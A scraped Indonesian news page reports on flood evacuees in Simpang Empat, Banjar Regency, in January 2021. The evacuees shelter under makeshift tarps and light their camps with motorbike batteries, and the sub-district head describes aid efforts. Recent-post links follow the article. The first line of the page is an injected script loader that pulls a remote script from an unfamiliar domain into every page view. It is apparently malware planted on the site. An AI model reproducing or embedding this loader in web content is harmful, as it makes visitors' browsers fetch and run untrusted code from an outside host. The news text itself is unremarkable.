(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Minim Sarana di Pengungsian, Hanya Terpal Darurat, Penerangan Andalkan Aki Motor


KANALKALIMANTAN.COM, MARTAPURA – Kondisi pengungsi banjir di Kecamatan Simpang Empat, Kabupaten Banjar, cukup memprihatinkan. Meski debit air sudah mulai turun, namun beberapa rumah warga masih belum bisa ditempati karena masih terendam.

Warga korban banjir sendiri masih mengungsi di beberapa tempat pengungsian darurat yang dibuat secara swadaya oleh masyarakat.

Di Kecamatan Simpang Empat saat ini Posko pengungsian terbagi menjadi tiga zona, zona pertama dihuni oleh warga Desa Sungai raya dan Lawiran, zona kedua dihuni oleh warga desa Sungai Langsat, dan zona ketiga dihuni oleh warga desa Sungai Tabuk dan desa Tanah Intan.

Fahrian Rahman, Camat Simpang Empat mengatakan, pihaknya terus memantau kondisi warga di titik-titik pengungsian sekaligus memantau kondisi perkembangan debit air di wilayah Pengaron dan Sungai Pinang, mengantisipasi kala debit air meninggi kembali karena intensitas hujan yang masih tinggi.

 

“Saya bersama pihak kepolisian, pihak kesehatan dari Puskesmas Simpang Empat dan para relawan akan terus memantau kondisi warga, untuk bantuan kita sudah salurkan bantuan logistik ketiga tempat pengungsian tersebut, namun untuk saat ini para warga sangat membutuhkan bantuan obat-obatan, air bersih, pakaian layak pakai, alat untuk penerangan dan tenda, karena saat ini para warga yang mengungsi hanya beratapkan terpal seadanya dan diterangi lampu yang dihidupkan dari aki kendaraan,” ujarnya.

Hingga saat ini kondisi warga yang mengungsi masih terbilang memprihatinkan, dan mengharapan bantuan untuk memenuhi kebutuhan di tempat pengungsian. Terlebih lagi tempat pengungsian zona dua dan zona tiga dimana warga menggunakan areal perkebunan karet sebagai tempat pengungsian.

Lebih lanjut Fakhrian Rahman juga menambahkan, Jumat (15/1/2021) pagi, akan mengunjungi desa Batu Mulya dan desa Paku untuk melihat kondisi warga yang mengungsi di sana, sekaligus mengantarkan bantuan logistik yang telah disiapkan untuk konsumsi warga.

“Ya untuk saat ini kita bersama pihak kepolisian dan kesehatan setempat berusaha melakukan yang terbaik untuk membantu warga, dan untuk warga harap bersabar dan jangan patah semangat menghadapi bencana ini. Kita sama-sama berusaha dan berdoa semoga bencana ini cepat berlalu,” ucapnya. (kanalkalimantan.com/tius)

Reporter: Tius
Editor: Bie


Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

8 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

10 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

10 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

12 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.